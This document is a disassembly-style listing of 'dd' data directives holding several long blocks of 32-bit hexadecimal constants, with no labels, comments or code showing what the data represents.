dd 5F2F2815h, 345D2B88h, 2959E1AFh, 6B2A80FAh, 2E1ABE34h
dd 143868A7h, 2CD17C3h, 10D0C74Eh, 86638E1h, 3F205296h
dd 0A7E5DBA3h, 798CE9B1h, 0F12F9ED4h, 0F08B5344h, 6F9958Fh
dd 653D2AE5h, 1D3838DFh, 23545A21h, 0E28C540Ch, 3A30D9BAh
dd 647713E1h, 94ECA9Fh, 0F5CF0888h, 853A0982h, 0E9EF585Ch
dd 154172Dh, 7F037C5h, 14D37AD0h, 6E39F17Dh, 0C4103C66h
dd 0DBB83A8h, 4D4A3FEDh, 1E8B080Fh, 0A8DE02BCh, 0DA51993Fh
dd 63E9042Bh, 0DB2EE874h, 2EC65E82h, 0A9A26525h, 8960C925h
dd 0F8654D8Ah, 0F7F54FF7h, 1EF17DABh, 2B5D5DE0h, 76B219E9h
dd 33612395h, 6DAC2F4Dh, 0ED13902h, 9699420Eh, 7713DDB5h
dd 94A2DE94h, 221DC5FCh, 806D799Dh, 6FD8F36Ah, 0D120A526h
dd 0EE8CF8A5h, 0D7566256h, 0D0A7C4B9h, 99140857h, 0CFE0C4DBh
dd 67464349h, 0F07D1340h, 3CF7D0Bh, 4DEECD98h, 0ED52663Bh
dd 0A618809Bh, 724C1398h, 0E81247CDh, 4E54C554h, 0BE434451h
dd 0D8CB33E5h, 495EBB2Ch, 82901F30h, 856DF3E3h, 0DB663127h
dd 0D762ED8Ch, 0E89E78FBh, 355F92ADh, 0D451E0C1h, 354EDE61h
dd 0C3C19628h, 459C4B18h, 232696EBh, 0FF60350Bh, 3E66DC77h
dd 0F02836FBh, 82EEBDD3h, 0FAA10FCDh, 90802A83h, 2AB8C178h
dd 0A99E27E1h, 0B0615C94h, 0A8FA2057h, 7C679C98h, 0EA320821h
dd 38A5A4E8h, 912B306Ah, 9752F088h, 0B1F55444h, 531B57Ch
dd 0C4568392h, 7316388Ah, 0AA5E33F3h, 101133DAh, 39D2AAFFh
dd 76D782DAh, 4900D6DBh, 915D62F4h, 0E4146DC5h, 0E2D520F9h
dd 0E74AD49Bh, 56FE2C4Fh, 0FFE8ED0Eh, 8DF2A6F6h, 41376A5Ch
dd 0E1808BCCh, 2992C6AFh, 9578631Eh, 67F37D4Dh, 0FB934D14h
dd 21D648ADh, 0FF37904Ah, 0AC3EAD02h, 339052E6h, 0B9E9F64h
dd 0FCA1EBD7h, 6EA2511h, 0AA75CA49h, 0AA9969D5h, 0EB78BFFDh
dd 4C5FC3AFh, 0A64A8FACh, 0C7209BBDh, 86D8E10Bh, 0AC08629Ah
dd 75A6A68Eh, 0CFF70DBAh, 0EA6FD87Eh, 95DF7328h, 0E89111CCh
dd 0C5379246h, 0C19FACB0h, 0D8046E79h, 2C73D92Bh, 0D3235A51h
dd 45DCA981h, 0B1D3D6E3h, 2E93E791h, 370C6E1Eh, 64E03994h
dd 0B8353B16h, 639EA00Bh, 866D402h, 5AB5F676h, 0ECD45E22h
dd 80E3EC0Eh, 0F038BF83h, 619C93DAh, 1AA8286Eh, 0EE964C50h
dd 5F974B11h, 21E81B23h, 346A1FE0h, 0FFF9681h, 4E4CBC9Eh
dd 94794Ch, 1E106B65h, 305E4E71h, 5B2A5516h, 47231F2Dh
dd 54C40922h, 117A4AB0h, 0D6A466Ch, 98A75850h, 0AAB6C3E3h
dd 0F233E2E6h, 0BE7246AFh, 7D62D915h, 13508090h, 0EEA64F1Ch
dd 0A3A3C07Eh, 3B36BF37h
dd 0B618B1CFh, 322D05A6h, 36D1CBADh, 3DB1AA55h, 29850723h
dd 0F8AD62E9h, 0F6C88BDFh, 998682DAh, 0C5F53D25h, 0CA227922h
dd 19775B2Bh, 97744366h, 8FB569C1h, 3690866Eh, 4056C638h
dd 10DD6DB8h, 894EE0A2h, 0C8CAA85h, 5DD8CA52h, 4F14ABB6h
dd 163A23E1h, 6C2327DEh, 3836CA98h, 0DD620EE4h, 94B40937h
dd 18E42029h, 2F15A5E4h, 3BCDAABDh, 0D7C3535Bh, 123FF3B6h
dd 4AB9A36Ch, 7F267F8Ah, 9727FDADh, 3F3D5085h, 0DF2E0AF2h
dd 0A7393953h, 933C552Eh, 97CA0A6Bh, 2CD9792Bh, 109E58C5h
dd 0D78BCE86h, 0E066118Bh, 62CBD657h, 40C9285Ch, 0B8EB2A30h
dd 2B522292h, 593B7A73h, 5B5CC0Ch, 35738E1Fh, 0E38DA70Fh
dd 0B30EAE0h, 97D506D0h, 96D3297h, 0DD5D4505h, 1F27FE45h
dd 966BFBD1h, 990A76A4h, 3E736296h, 41160D0Fh, 0AE08BAE3h
dd 58132AD4h, 43106100h, 83CCEA25h, 0BAAD12E9h, 0D9F05F54h
dd 0C1DB0C7Fh, 65896969h, 0F577E3CEh, 0F2A9FAA2h, 0E4D19093h
dd 611DB71Eh, 3DA077DCh, 0C8D6CF2h, 687AAEBFh, 5BB8F74Ch
dd 0BCF3AC8Eh, 245E932Eh, 0D4DF96F9h, 7433F911h, 1DE1D63h
dd 0FC696BFBh, 204FB9E4h, 0BE717E27h, 0FC64E23Fh, 0C42EA54Dh
dd 0CF8BB2C3h, 36F08B20h, 9149975Eh, 0FD7AE499h, 9DBE4E51h
dd 0E8608EEBh, 31D3D7C5h, 5375178Eh, 0DE880225h, 25165C50h
dd 0B689875Eh, 92E6C763h, 6B45A72Eh, 98527F52h, 64826137h
dd 6A69AD19h, 525CF589h, 52156EEEh, 1ACE21BCh, 7A64F6C4h
dd 9A036F39h, 0EB3A516h, 6C869113h, 7E92DC05h, 5F0E1D26h
dd 22602093h, 8637A99Ch, 0F8451106h, 930C6C55h, 1C9FBBE9h
dd 74F06D52h, 596DC036h, 0E7FAB544h, 0E296331Eh, 40CC5DAFh
dd 56B065Eh, 0F7052CD9h, 7108996Ah, 4C015750h, 22494A7Ch
dd 5B3D74D1h, 8F758B34h, 10DADDF1h, 60C36FBAh, 1A97A244h
dd 1FA20Ah, 0F33DF18Eh, 64B823CAh, 0F814287Ah, 13AB1A15h
dd 37B631E9h, 0FE4AF1F0h, 22560CE2h, 8E36A59Dh, 3B3995D3h
dd 917AAE1h, 0F5633E96h, 0C9197E2Dh, 0F15D543Fh, 591F49D5h
dd 0DBAD2FAFh, 0E6CE8BB9h, 4B07D16Fh, 40DF6F6Ah, 15953378h
dd 29C1EC44h, 5984896h, 8945F331h, 0F2E4FD87h, 0B0B23CF3h
dd 7422B857h, 24B491A2h, 129C9AAAh, 5D7A2764h, 95116DEDh
dd 0E4991728h, 2643B536h, 0A05ED554h, 0F2198FD8h, 0BE402E7h
dd 9A583AA5h, 62C28116h, 0F579CB26h, 0A688FE65h, 6C50E168h
dd 27CCC364h, 5615FD64h, 43A90A7Dh, 79631663h, 1EBD3AF4h
dd 584C66FFh, 0F665F6D2h, 8FB0961Dh, 0E4892EE4h, 9E8C5FC0h
dd 0B0D21282h, 91FA5207h, 69C16881h, 0EBE99F79h, 0A274487Fh
dd 6F549071h, 981A5EB5h, 77810E16h, 95482768h, 0EEB995F1h
dd 2BBBA55Ch, 5B3FBD24h, 0F447D469h, 411D4875h, 0BEC9391Eh
dd 683684C1h, 0F681785Ah, 4075169Ch, 0E07FC470h, 63774806h
dd 93FAD609h, 2A8D5B86h, 0B77123BBh, 9746B39Fh, 2EDB201Fh
dd 976F2A2Fh, 2BC00B6Ah, 7599FE53h, 0C4D64395h, 0C13215E6h
dd 8DC6CC89h, 0D0B3DB5Bh, 2E9A86BCh, 25E3F2BCh, 633541D2h
dd 21BED6BBh, 0C615E6A2h, 0C13A0061h, 7FB1879Bh, 0FBD78550h
dd 0C6D16E1Fh, 42BD9051h, 69AD11Ah, 0CF9DEEB7h, 3A9A62D3h
dd 0D4D6AF8Dh, 0E7486ABAh, 15501889h, 62F8C037h, 5278C230h
dd 0FE2E9965h, 15FEFD22h, 5A46A223h, 64AEE791h, 0BBEBAA25h
dd 7CA0D3F6h, 2ABBC381h, 5A2588EBh, 0E37F48A4h, 0D25118D0h
dd 1A3F911h, 712024F8h, 0B4B9B15Dh, 0F23D3C2h, 17B23781h
dd 0CB78348Eh, 0A632925h, 0E2AF2FA6h, 0C3A37AE9h, 8209F536h
dd 0BBE680F5h, 0D652E1D6h, 0E60CAA63h, 2E20FB5Ch, 0EA5CF0BBh
dd 0CA12A9FBh, 507D84A8h, 5BB7FF47h, 0FE3BBE54h, 9CAF4FBDh
dd 164EA1C7h, 0BAE398D6h, 857FD527h, 4CFEC9C1h, 0DC1031B5h
dd 7B6CB9h, 23EFDFF2h, 9387D6C6h, 5E24DA14h, 0BE032596h
dd 0FDF4D333h, 4A485001h, 0E8494ACEh, 0D0489BBAh, 0E262DA09h
dd 0B9B9D80h, 755CC3B2h, 0DEC18388h, 0C067B8F6h, 817A4ED9h
dd 43E000Dh, 6BE64D52h, 0E61CA662h, 3DB8E02Ah, 0FE940968h
dd 0ED4B9CA1h, 0B851BBF1h, 5D64F8DCh, 56FD6691h, 38799B60h
dd 30566A52h, 59AD4BCh, 0FF983DE7h, 0C8EDC3BDh, 0B98B656Fh
dd 0CA52379Bh, 45CFBB3Fh, 0E2367326h, 877C0EB7h, 43921737h
dd 81F521CDh, 0E15E8B2Eh, 5B062805h, 95D9B7C6h, 5E79DD4Bh
dd 531E157Fh, 1F9061D7h, 463F8C5Dh, 5A506852h, 0C93D8D89h
dd 693B3136h, 0E164FFFh, 0D61C77C0h, 0C9E49D0h, 9DCC93Ch
dd 0FF785A0Bh, 71885E2Fh, 0FD2B1B16h, 0A57DAA3Eh, 7805F0Fh
dd 4C0ADF46h, 57CCE5E6h, 0AA351465h, 200D1BA2h, 34908Eh
dd 1D6EBF77h, 0F3F24BE5h, 4D9BA12Ch, 0D0F644C7h, 0E7CE7D97h
dd 0DCCD6120h, 0A0DAD972h, 2205D27h, 0F178DD39h, 7E87F924h
dd 121FB522h, 0F629B9B0h, 97ED2281h, 0C5F90C34h, 7BB3FE59h
dd 0DD2CCCF8h, 0A4B42C95h, 5C3E216h, 0AC55646Dh, 8A61A96Ah
dd 5D9D27F5h, 1EDBF979h, 0E1AD8A66h, 0B685FE13h, 2469AA9Dh
dd 0D8EB2B75h, 0C958022Ah, 768ACFE1h, 0A27405DAh, 0DB4CDF47h
dd 436A5ED7h, 4BED3242h, 4BA82360h, 2CA9484Ch, 0AF74008h
dd 3180B6E7h, 113A2F91h, 526FD888h, 0FDFE191h, 0F9212071h
dd 0D7F64123h, 0ADF4250Eh, 0D1448C02h, 59A1721h, 0D2C3B5BBh
dd 193CB262h, 243AC53h, 0AA9ADD78h, 0C5C67673h, 0E4A68E3Ch
dd 799C19EEh, 17FFBB39h, 59557957h, 0D12D69F5h, 109A035Bh
dd 0CD6876A1h, 0CE4AD554h, 0BA9B2B09h, 6A71C38h, 0E413DAD2h
dd 3A64F1A7h, 6F69B17Ch, 5123E70h, 0C8E994C0h, 7B6FA543h
dd 7C23BD1h, 0B53BEF3h, 56F8EA64h, 30598A19h, 0B7E81056h
dd 9D880DF0h, 0E08B9B34h, 0CA1FF3D6h, 83799522h, 0BCC5A81h
dd 383B0236h, 734E1844h, 5C08401Fh, 6A35D8F2h, 0B9441EA3h
dd 2BC01609h, 1FFA4355h, 0F16BC764h, 0AE0D75E4h, 168D0882h
dd 6C21127Dh, 2365C02Ch, 512FBFF7h, 79D45033h, 0E98C1E0Bh
dd 0C33EAF7Bh, 5CDE5840h, 0B8D03Bh, 0B0CE154Eh, 2E1EA107h
dd 2A410F96h, 2D815336h, 884845A1h, 36D4CF2Eh, 2B7C312Ah
dd 0F5C1E9D2h, 8962583Dh, 4E6CC01Eh, 95AE35D9h, 8D736170h
dd 9857E76Ah, 5A625BBFh, 0D6837D3Fh, 3EA3C1BAh, 0F1371959h
dd 5F47F17h, 0C7D35446h, 0CDA9A97Eh, 0F684ABFh, 10E057BEh
dd 0F0FFC519h, 7A7EE5Ch, 9D0A8360h, 0DE3C559Fh, 4B9A398Eh
dd 58C5C46Dh, 6331C079h, 0CB4988FFh, 0E2A4A78Dh, 28C6CC0Bh
dd 9060CB1Dh, 0FA38A91Ch, 1E68CBF1h, 6DA92232h, 1D23620Bh
dd 0C853F933h, 75E3F012h, 2E908D36h, 0B48D47CDh, 0CE37BF27h
dd 0B03171A3h, 0DBB69774h, 8D3A98F1h, 8B69D89Fh, 0B261605Eh
dd 0A4C93BC6h, 52168B15h, 4C12ED23h, 4A13C763h, 0E1E51C09h
dd 5F05EC8Ah, 69331A28h, 561A004Bh, 874F5A2Eh, 2087386Ch
dd 9C46BC95h, 8AB46C89h, 0CAD83509h, 0B69FCFD7h, 446C49C3h
dd 0E9E591E3h, 9DE6C867h, 76113E86h, 15051CCEh, 3386FF13h
dd 549847C5h, 589CFDC6h, 9028F454h, 0E047E984h, 5FB121F7h
dd 527C0B2Ch, 5250DB1Eh, 0D2967249h, 0F5024336h, 0A139BF76h
dd 0F882013Ch, 487260C3h, 56EB405Bh, 15F17183h, 0D4E62B05h
dd 2CB27D87h, 391214C9h, 228CF82Fh, 2FBAABB7h, 132A3053h
dd 9DD3A9A6h, 30E82C96h, 9142E4D7h, 0EA3C495Ch, 0EF66B19Bh
dd 45449A31h, 0AA039BAAh
dd 0C5A54C46h, 1FFD8798h, 205D5F5h, 6F160B63h, 76016FCh
dd 6E4A30B0h, 0C3B7D28Eh, 11D18AD7h, 91921DD1h, 3275B53Ch
dd 13478DAEh, 70B6AAD9h, 0BF837482h, 0F7BD2978h, 91833B7h
dd 0DD3B8C96h, 89F8A0EEh, 784398C6h, 0A0D0A02Bh, 3209CDA8h
dd 5F3FB7EAh, 0B6AA29A8h, 59C012Eh, 4C40A01h, 443EEF9h
dd 324354A0h, 1AFE5C11h, 5A8C076Fh, 74E39148h, 12683088h
dd 0CE6158EBh, 159EA95Ah, 0CCBE6B3h, 0E12348E3h, 0E79F09C9h
dd 889174BBh, 2080BDEDh, 1491560Eh, 78E51202h, 2BA71F46h
dd 0D9992BFCh, 0EAD88182h, 8838C09Fh, 7D30635Dh, 56F98715h
dd 2716808h, 0BCA5381h, 563B232Bh, 0BCBDECA8h, 2B0F1DB4h
dd 0EFD1DB5Bh, 71740340h, 3091153Dh, 341B6C2Dh, 94AB36C9h
dd 0D3948DE1h, 75B44ED6h, 5EC345BBh, 0E88213AFh, 4ED34C73h
dd 195C816Ch, 31B27F9Bh, 72BC1BE0h, 1700FFF9h, 2C33E75Fh
dd 0D40C8834h, 515CB5D8h, 8A5E54EEh, 1394E626h, 0FB4F7B1Ch
dd 0FE318021h, 0C3C3AF4Dh, 0E4D24DD4h, 6615B3FCh, 0D05F35F4h
dd 2D3F241Eh, 0E1ECC85Bh, 6D1E1CA8h, 69AE4D68h, 12C5DE04h
dd 8FB98394h, 9857C31Fh, 494E4E17h, 0F9CCF285h, 3B79519Bh
dd 8DD80D10h, 175B161Eh, 600628A9h, 0F7B29431h, 0DC8EF84Fh
dd 602AC211h, 59188E33h, 0E9912FFDh, 0A011AAB0h, 75A00BE1h
dd 0F7BF5863h, 0A135A732h, 4FA1E166h, 3D009F1Ah, 799A8AF9h
dd 26515989h, 8752E2BBh, 0CBAD10A6h, 8B667F70h, 352A7EA1h
dd 0F1625AEh, 3294D23Dh, 181F25D2h, 0C10BB5E7h, 0F6F30E70h
dd 1926F34Ah, 534AB957h, 0B215A116h, 488F91E1h, 4BDA8F2Dh
dd 0D0CAE44h, 89122241h, 13637172h, 0CD8B782Ch, 5429377Bh
dd 5C3A6E48h, 0CB0B7C52h, 8415558Dh, 149E8E04h, 9F120519h
dd 4E3C0DA5h, 0D4E06E55h, 53B8489Dh, 55F6D2E8h, 3336724Fh
dd 0DAC2CC60h, 8C83BEB0h, 0A54B65E9h, 287A3DA4h, 0D69ED8A7h
dd 29C50CABh, 6AFF4F41h, 463E1D0Ah, 0B7CB8FE7h, 12986082h
dd 0E2115324h, 0B880E700h, 3FA32AD0h, 0DF354925h, 2E550FFEh
dd 0DFC06637h, 7091DAD3h, 0A445AD11h, 3612B46h, 0B727D149h
dd 63389303h, 0FA629A44h, 0C818BF3Bh, 3326EB29h, 8C31515Bh
dd 634F36A9h, 0EC0F9C71h, 0BCB801DEh, 693C9BA4h, 4E4E463Eh
dd 417005B7h, 0FCCDED8Ch, 983838D9h, 7E91788Bh, 3F0B3C09h
dd 5E5EC499h, 480E7235h, 6C98895Ch, 0B4F3628Ah, 0F689BB33h
dd 0ADF5ED89h, 251B3667h, 9F48F38Dh, 0E2B2CC2Eh, 0FFC65D2h
dd 7D5AE28Ch, 0C536F82Fh, 2C4F8DCDh, 9F147592h, 0BC5EA41Bh
dd 0DD3472h, 0C9D6F614h, 4976AB53h, 0C9E8A264h, 3CE0C4AEh
dd 386EA814h, 0B6EF6AD3h, 44360772h, 0A3F336B4h, 661EF3F7h
dd 58027D79h, 9F17FB14h, 0C4FF7CFh, 35C15B41h, 48F86743h
dd 7A6E0951h, 29E44D4Bh, 53457126h, 74387937h, 6D0852E2h
dd 0DB881008h, 0C975923Eh, 0D098CFE1h, 0E23FC3B8h, 14B35B77h
dd 6E9D654Ch, 0B7FC3CD9h, 9228E9BAh, 78921B80h, 0CD89560Fh
dd 0F15E034Ch, 4457A215h, 0F67F2A0Fh, 2E4D1FEFh, 88C5750h
dd 0F7B14C8Fh, 14824D3h, 32CC7DC2h, 0A84F43C5h, 0FE58F3E3h
dd 0E95053D2h, 0CD001A47h, 0A6440171h, 0AF472B7Ah, 0AF24D7AFh
dd 0C92A47F3h, 0D2ABA705h, 0EAEF26F6h, 0F9EC754Bh, 360B35Ah
dd 0F111C1B3h, 5C56764Dh, 983401Dh, 8DEBCE88h, 0B66E57Dh
dd 0CB4DB4CEh, 22757691h, 0EE08A150h, 1E82DB3Eh, 61EF8E03h
dd 286F659Eh, 2352938Eh, 158398D7h, 6B3D201Fh, 0EBFF9573h
dd 0BD907FDFh, 1CEEE5F5h, 8F50B488h, 0BF557F3Ah, 2FCA731Ah
dd 0E8179F57h, 41EB7324h, 0A00298F9h, 3AD38655h, 0ECB4EBD3h
dd 0A423CCBAh, 9D80F7A1h, 7B12443Ch, 27CE5464h, 8EBF60A2h
dd 6B609312h, 4A8E6D49h, 6694E5B6h, 2220B0D3h, 0D0E006DBh
dd 0AE97A16h, 94946A10h, 0B9DEB04Fh, 0D52AC0Ah, 6B69FEB6h
dd 2A48DA77h, 0F53C4F4h, 4759BF6Fh, 161DC70Bh, 9FEC8A9Eh
dd 0DAC00795h, 8EFF0E48h, 0FFAB3A5h, 58A55820h, 12D7FAC8h
dd 0D8974A86h, 7B9A8659h, 980D20CBh, 95E31BEBh, 84FC18A2h
dd 0A087DD49h, 74345C13h, 4092F2D0h, 0A1961D19h, 32FF2617h
dd 383158A4h, 5B664456h, 7758C523h, 92EEFCBAh, 0B382076Ch
dd 0DFB300Dh, 8712A11Eh, 0B074871h, 5CF775C1h, 0A6B40795h
dd 45B5F34Eh, 0E138C88Fh, 7EBC7357h, 50DCA40h, 511F5540h
dd 9735AFF7h, 92B71B5Ah, 0E505FE2Ch, 745060D9h, 86FFA968h
dd 63AF6243h, 0BA241F6h, 1D38B231h, 0B5B60955h, 17DA0C2Dh
dd 0C6301FFAh, 31C5FCA6h, 683AFA44h, 0C6F4DC51h, 3ED04DD4h
dd 0D14FF645h, 0B178F96Bh, 0C6A5BCACh, 9CA62623h, 837B244Dh
dd 93146490h, 1CBBBA5h, 3CB36D14h, 1F7C63CEh, 0D8824460h
dd 0E72E0BACh, 0BB7A2D7Ch, 6C63C878h, 1BAD5D04h, 141C2F87h
dd 8E6BF077h, 6305C717h, 0FA680341h, 0ADCBF1EDh, 0E0D3A97Bh
dd 72649B74h, 6F40F998h, 2D8F16A5h, 0D9013468h, 10FEA5EEh
dd 49EC2C20h, 11B38012h, 0B4E1820Ch, 43DE5CEEh, 4543CDDAh
dd 661A65AFh, 55EF26EDh, 0B1A887B9h, 80145E98h, 7F7E4E0Ch
dd 2F3903E2h, 0C84DA924h, 6F79D32Dh, 0EE4B06D9h, 0C2549B88h
dd 21ECD82h, 0C0751702h, 4C2B8A59h, 11608485h, 5F2B30ADh
dd 41FB600Bh, 0E4E41583h, 9327044Fh, 118150E6h, 18A79E20h
dd 0B68FC87Fh, 0E3A9CC4Ch, 0A6F519BFh, 44429EA4h, 7B43C8C0h
dd 0C3727483h, 81458A9Dh, 25B10A7Ch, 0BA138D45h, 0B7FFA504h
dd 409DB26Bh, 1402732h, 278851ADh, 0A007E172h, 2B69AC09h
dd 0E50C5754h, 0FBACF0EBh, 1B39D2DEh, 0D8E8297h, 1DDC0470h
dd 11ADB5CCh, 0A3AFFACh, 89CB2AC8h, 14DA5184h, 0E6726145h
dd 2FEDDDB2h, 4481A9F1h, 8A045D64h, 0BF48BD48h, 0BD2E49BEh
dd 3BDCF297h, 2A2DF0AAh, 8E678973h, 0DEE0FF98h, 66592832h
dd 0B09D80ADh, 8C93292h, 90D1F745h, 0A9A87FD1h, 8F0A6BF5h
dd 2B38FBCAh, 7CCDC7BBh, 6673ADE1h, 0B55B048Dh, 9A882500h
dd 3C1A1CBCh, 20088DB8h, 0FC0BAC2Fh, 94D2F76Ch, 0C7CB4073h
dd 0B9FB9D70h, 38334F0Fh, 0A01F7ACAh, 9F7CF466h, 846543AAh
dd 2A0C005Dh, 5FF2AC47h, 877A1389h, 96FECDC2h, 162040FEh
dd 0BFD3F489h, 43A6CB2Dh, 67C1BB7Ch, 94AE0A81h, 73F0FBBBh
dd 4FC999A1h, 83564B0Bh, 75A4D910h, 209BF40Ah, 0BAA8A287h
dd 6522B918h, 0ED0D5505h, 0B00CA8ACh, 0A530CEB6h, 4122AF9Bh
dd 7D8161ABh, 94E0F06Eh, 73B66B4Dh, 0D654F007h, 0C3F1DFBBh
dd 9F6E6E87h, 90D60430h, 0E80EE9D0h, 0DA98956Ch, 5D796F59h
dd 0B9B12BDFh, 0A7BCB5BEh, 875F529Eh, 0DD0E74FCh, 322A1A5Fh
dd 7E57E9A3h, 82076A28h, 92EDD98Fh, 4424F248h, 4AF6498Ch
dd 945B201Ah, 0E536FF60h, 7E238361h, 0A831DB8Dh, 0DCCA3CD0h
dd 0C43C0C9Eh, 9A6872EDh, 0E140E2D8h, 2C41A3F1h, 1C92472Eh
dd 0EEA50973h, 0E59E8884h, 0CD74E534h, 57909678h, 57FF8E95h
dd 0DEAF01DBh, 50B6BCB1h, 3FC52710h, 5E18158Ch, 0B272C1E0h
dd 0E496956Ch, 9B8B6326h, 0DF0D9BD6h, 0C12FFD61h, 0B25C1F6Eh
dd 993C6944h, 2B61C118h, 8E0A439h, 0AF3EAE78h, 0ECBB3103h
dd 64EB0423h, 9DD66307h, 8D1DF452h, 398BBB5Bh, 964B1823h
dd 2477CEBEh, 5996AD84h, 61400BFh, 4C62D463h, 5D9E1A9Dh
dd 0D71B2726h, 8707FEC1h, 0CE481E72h, 0B5E1BE81h, 0DEF22C93h
dd 5F2C9F2Fh, 0FC2D158Ch
dd 7DB5B89Fh, 0A4434F75h, 0DAB11A36h, 69459B27h, 0F2BA49BFh
dd 2AB212EDh, 87089D27h, 0ABA98F80h, 6CEA6242h, 0B5A23AAh
dd 5913CEFFh, 8CFD71DFh, 0D98A327Dh, 97383355h, 42E022FFh
dd 26078459h, 4372981Dh, 906130E8h, 0BA06E57Eh, 0AC9230FEh
dd 0A0638199h, 58AC9BFh, 0FCBD13F2h, 0A6A1440Bh, 0E43BBD37h
dd 0EE29B11Fh, 0C664ECBDh, 0C9384E46h, 63A38FAFh, 0A5522276h
dd 22380F0Fh, 0A109B643h, 0BF3D0D69h, 42405D87h, 0A0E1B63Ah
dd 9E336B05h, 0BE23AC11h, 0D0797EFFh, 80EB0198h, 15FBB982h
dd 35C95F69h, 0A19ACB3h, 2663E83h, 9CB5D5FAh, 19ABD2CDh
dd 33A56F44h, 6A3EEC3Bh, 12500F05h, 67913ADEh, 0A62683AEh
dd 5EC4D17Eh, 0AB27A3F9h, 0D5BE2309h, 5F3A316Ah, 4A52996h
dd 88C2547Ah, 0C7F4F73Ch, 34789A5Eh, 0A292770h, 0A84AB127h
dd 0C9D817E4h, 37B19789h, 0F4ABE35Bh, 0E95D252h, 70B9EC32h
dd 37C6DC99h, 0D3FB7A86h, 0B71B8B62h, 86AFD220h, 0F27CC3C4h
dd 0EB42225Ch, 0CADFC889h, 0D4D8CC90h, 0BB3FE05Bh, 0DE0A8E2Ch
dd 86EE89A2h, 0E275087h, 24132AF5h, 0ED3509A6h, 0AC90C812h
dd 4052178Dh, 0CDFFC1C5h, 0A4F42A6Bh, 0D200D850h, 0A1F1A65Eh
dd 0C56B8707h, 0E1F10147h, 0C778644Eh, 0BE38C6FDh, 0ACA5CF88h
dd 33F3BCEDh, 6DB93A70h, 2416AEBDh, 0B9E4ECh, 864485Fh
dd 0BA0ECBAh, 0DD9ECFC4h, 0C0EDBB26h, 0AF0D56A2h, 91166BEBh
dd 0A2F1888Dh, 39EF89D0h, 33FB9910h, 0F148388Bh, 3BB11B4Eh
dd 148696B7h, 26B12AC9h, 86142E0Eh, 680B01E1h, 0F4AD96AAh
dd 4A184133h, 0A0734FF1h, 0FCDAC6ADh, 0E4B1861Fh, 0AD7C439Fh
dd 3AAE1FDDh, 1829D72h, 0F8884E68h, 8EB31AAFh, 0B555906Eh
dd 0A4369D8Ah, 77A4AEAEh, 0E611A2D4h, 0A4EB6722h, 515A6C0Bh
dd 1B187457h, 5AED8240h, 0E168B0Ah, 9E7AB64Eh, 0DC1180DDh
dd 45968341h, 78656FC7h, 0F6ED9A61h, 0E959633Bh, 539BEA33h
dd 0E5E10433h, 5BF9CE5Eh, 40DC3A1h, 99AB1E7h, 14146169h
dd 0F8D89F6Fh, 1CE7BC93h, 2277BA5Ah, 0F551B63Dh, 0F5E6AED5h
dd 7E0F2DDFh, 34CEBA2Eh, 53CEC096h, 0AD006761h, 0C61CD2BDh
dd 0AEBFCD8Fh, 3D1604A8h, 0E25EAB54h, 0F9088AE5h, 0ED375138h
dd 141D68B7h, 1155FAECh, 0E1FAEB18h, 3123969Dh, 29FD42D1h
dd 0C844ACC5h, 83FBA411h, 0A396405Bh, 73FF067Eh, 0B8444DE0h
dd 6F03CBD2h, 660B7910h, 0E760A807h, 0B89D85EFh, 0AA35B5B5h
dd 89E9AD1Fh, 0A5129FAEh, 0C349EE7Bh, 0DDDC8C86h, 0C02D949Ah
dd 0FFDCABB4h, 6C15631Ch, 0DA26660Bh, 30F0F1ADh, 0CEDB520Eh
dd 0D8080DABh, 0EE71738Ah, 0D67E8646h, 328E6544h, 51EDEE27h
dd 4640E394h, 685F17ACh, 9723F49Dh, 0D97B680Ch, 0F53C392Fh
dd 8C30A56Ch, 0F0E2F43Bh, 8DDFDF9Dh, 0F1814C52h, 0DE9C17C0h
dd 6B09EEF6h, 22E59305h, 0C5EF82E0h, 3572D056h, 0B08A3D34h
dd 0F89FF119h, 0BEA5976Fh, 77094B64h, 0B72D3156h, 0A71AC6D8h
dd 235DC1A4h, 0FAEBB3D1h, 0CE8D3933h, 1A9815B3h, 0E419079Fh
dd 5995A6F7h, 4A391B08h, 0B128B87Ah, 0CE90E350h, 0AB860BFCh
dd 0BAEC210Ch, 4AF2BFF0h, 2F3DAA16h, 5951BB8Dh, 7040EE66h
dd 117905F9h, 4A7658C2h, 32BAA8D5h, 0C355E3F3h, 94B8C264h
dd 0DB7DD3FAh, 0A17EFDBAh, 5F4A0F04h, 909BB8F6h, 0E77ECE7Ch
dd 6F8C28DFh, 0BE347C82h, 1D75941h, 0E38AD887h, 0B6E312B6h
dd 15E1C64Ch, 0DCC34A58h, 16DEF34Ah, 2355965Ch, 0CFD9758Ah
dd 4961D07h, 0BA7B5080h, 8374D16Ch, 5F80A1ECh, 50F9FCF5h
dd 0BAF5E3D7h, 0D9B76164h, 5BA81D20h, 6C2BC541h, 96CA81C5h
dd 685B6F95h, 0F97F393Ah, 2B32D8D3h, 0D9BC325Eh, 89BAD635h
dd 50DBC29h, 0C908CB60h, 5B5705FBh, 1A1EE27h, 8A116F0Bh
dd 713896C6h, 4A44D192h, 0BEDBC659h, 0E90FA69Ah, 0DDD06448h
dd 0F34F9945h, 0FD7515B4h, 0EF947E8Bh, 3057F41Bh, 5395233Dh
dd 58B860DAh, 0E6ABF6EBh, 0DA797984h, 0FBABEFBAh, 0CF6FD3DEh
dd 9A6CEF06h, 9582F1C4h, 0D71FD52Eh, 0FF53601Bh, 0F9C95A8Eh
dd 99C19BB5h, 255EF6D7h, 9922136Ah, 0C3406CD0h, 890AE61Ch
dd 0B2E041FBh, 0B73AA005h, 6B8E0082h, 22D63C6Ah, 4132B9F4h
dd 3B14188Ch, 0FF189F7Ah, 3801DA83h, 620494BDh, 5C6A3136h
dd 877945A8h, 67E4538Fh, 1EB618D8h, 2369185Bh, 0D40A2B29h
dd 74C6409Bh, 0F38557EEh, 0C2FED618h, 7236405Dh, 8B824EADh
dd 66616A8Ch, 0FCDB497Ch, 21BE0267h, 334C8C14h, 0F8A69865h
dd 0D41FA132h, 76B6BB87h, 0A44BDEFh, 0C9A0D01Fh, 0C4CB7830h
dd 3733EEAEh, 6B813C1Dh, 758FE13Ah, 604EA50Dh, 45AE4477h
dd 591A66B6h, 840073ACh, 237515E3h, 8CC1F9B9h, 0FC5D192h
dd 6F1C14C0h, 0AB02055Ch, 1D5DA45h, 2949BEF7h, 60C64557h
dd 99E63320h, 4C20D52h, 1E5D3168h, 716E0BCCh, 5B9DCB8Fh
dd 9FE01B47h, 17FA427Dh, 5A82C3AEh, 9E8FC941h, 9D73519Bh
dd 1A7CF169h, 0F9D3CFC4h, 0A4E3BEE7h, 9ACC8B83h, 5401399Ch
